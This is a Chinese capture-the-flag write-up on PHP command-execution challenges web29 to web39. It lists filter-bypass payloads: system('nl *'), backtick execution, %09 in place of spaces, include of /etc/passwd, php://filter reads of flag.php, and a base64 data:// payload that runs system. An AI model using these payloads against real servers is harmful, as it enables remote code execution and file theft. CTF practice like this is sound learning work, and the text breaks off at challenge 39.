*1 命令执行篇
web29
很明显绕过就可以
上c=system(‘nl *’);
web30
这里注意要绕过system
这就要用到echo函数
c=echo( nl *`);
同理web31过滤空格
用trb %09绕过
web32
这个题就比较骚了 过滤了echo system 空格
基本上上面的方法都没法用
那我们怎么去解题呢??
首先尝试文件包含
include"/etc/passwd"?>
发现可以运行
这就说明可以运行的通,并且它没有过滤$
还有一个问题include包含php文件不会在页面显示出来,尝试include"$_POST[1]"?>
1=/etc/passwd
成功执行
联系上面
完全可以利用为协议
构造?c=include$_POST[1]?>
1=php://filter/read=convert.base64-encode/resource=flag.php
下面解释一下eval函数,把字符串当成php代码执行
我们知道到eval之后
我们想执行为协议
那么我们就要通过post方式去执行为协议
因为eval函数的缘故
1=php://filter/read=convert.base64-encode/resource=flag.php
执行漏洞并呈现到屏幕上
同理34,35
同33
36
将1改为a即可
data:// 协议
条件:
allow_url_fopen:on
allow_url_include :on
作用:自PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。
下面上38题
payload:data:text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
base解码是
39